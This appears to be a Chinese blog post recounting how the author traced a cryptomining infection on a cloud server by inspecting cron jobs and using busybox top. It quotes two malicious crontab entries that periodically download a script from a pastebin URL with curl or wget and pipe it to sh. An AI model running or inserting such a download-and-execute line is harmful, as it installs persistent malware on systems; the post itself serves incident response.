记录一次服务器被挖矿的经历

额,此刻有点激动,可能是终于找到服务器资源被高度占用的问题原因了,下面说一下具体表现:
1、在阿里云控制台观察到服务器CPU几乎都是100%占用;
2、阿里云经常发来消息,说我们的服务器攻击别人的服务器,从22、3389几个端口,开始没在意,直到今天才注意到;
3、在服务器内使用top、 ps -ef、 ps aux等命令找不到高占用资源的进程项,这一点误导了我好久。
处理过程,因为本人的linux知识实在是匮乏的紧,以至于排查期走了不少弯路,书到用时方恨少啊,出了问题两行泪。
首先我找了个centos可以使用的杀毒软件clamav,但是安装之后,开启全盘扫描 发现服务器直接卡死 偶尔有被删的文件直到
把我指定的输出文件也查杀之后 我就知道GG了 如下图


全盘扫描病毒发现了直接查杀-输出到clamscan.log
他把我指定的输出文件删了

期间我看到别的前辈们说是 大多数病毒可能会写crontab(定时任务)
然后我就去查,下面着重记录下查找过程,先大概了解一下这个定时任务咋用
在LINUX中,周期执行的任务一般由cron这个守护进程来处理[ps -ef|grep cron]。cron读取一个或多个配置文件,这些配置文件中包含了命令行及其调用时间。
cron的配置文件称为“crontab”,是“cron table”的简写。
cron服务
  cron是一个linux下 的定时执行工具,可以在无需人工干预的情况下运行作业。
  service crond start //启动服务
  service crond stop //关闭服务
  service crond restart //重启服务
  service crond reload //重新载入配置
  service crond status //查看服务状态

cron在3个地方查找配置文件:
/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。
所以我们先去服务器中找cron已经配置好的定时任务

执行 cd /var/spool/cron/
我服务器上的定时任务合集

根据我自己的分析,cron文件夹下面的文件或者目录 最近我跟我手动操作的几个软件有关的是14号和17号动过的那两个,所以这两个文件暂且排除在外,剩下的就是今天刚改动的定时任务,所以这两个被重点怀疑,接下来我们就进去一探究竟


前期命令

定时任务具体内容
*/30 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh

呀!看 终于露出点马脚了;我们继续再看

vi tomcat 这个定时任务之后 ,显示的是一堆乱码 暂且不处理 刚刚看到最外面也有个root我们去看看
显示的是
*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh

可见这两个任务都指向的是同一个网站,虽然前面的执行间隔不同,我们去一探究竟

这里又指向同网站的另一个脚本,有点意思,越来越滑头了

我们继续去找
仔细看这里是一大段代码,好了,我们去拿里面部分的代码试试看能不能在搜索引擎上搜索到什么

额znm果然是个毒

点进去看看大佬们怎么说的

因为这个百家号有点智障,所以咱去找真正的作者写的一手资料,我给下网址:
大佬地址1
大佬地址2
大佬们已经分解了这个脚本大概意思里面都有现在咱们来稍微做个总结
我的小总结

使用之前的静态链接库查看服务器资源占用情况

busybox top
这里可以看到病毒有两个进程分别从两个用户启动的

我先来问候一下这个老哥

ZNM

大概就是这样,我们确定了问题之后,根据大佬们的方法调整一下 去清理这些垃圾 稍后放出来处理方法。
2019年3月18日 23点。

你可能感兴趣的:(记录一次服务器被挖矿的经历)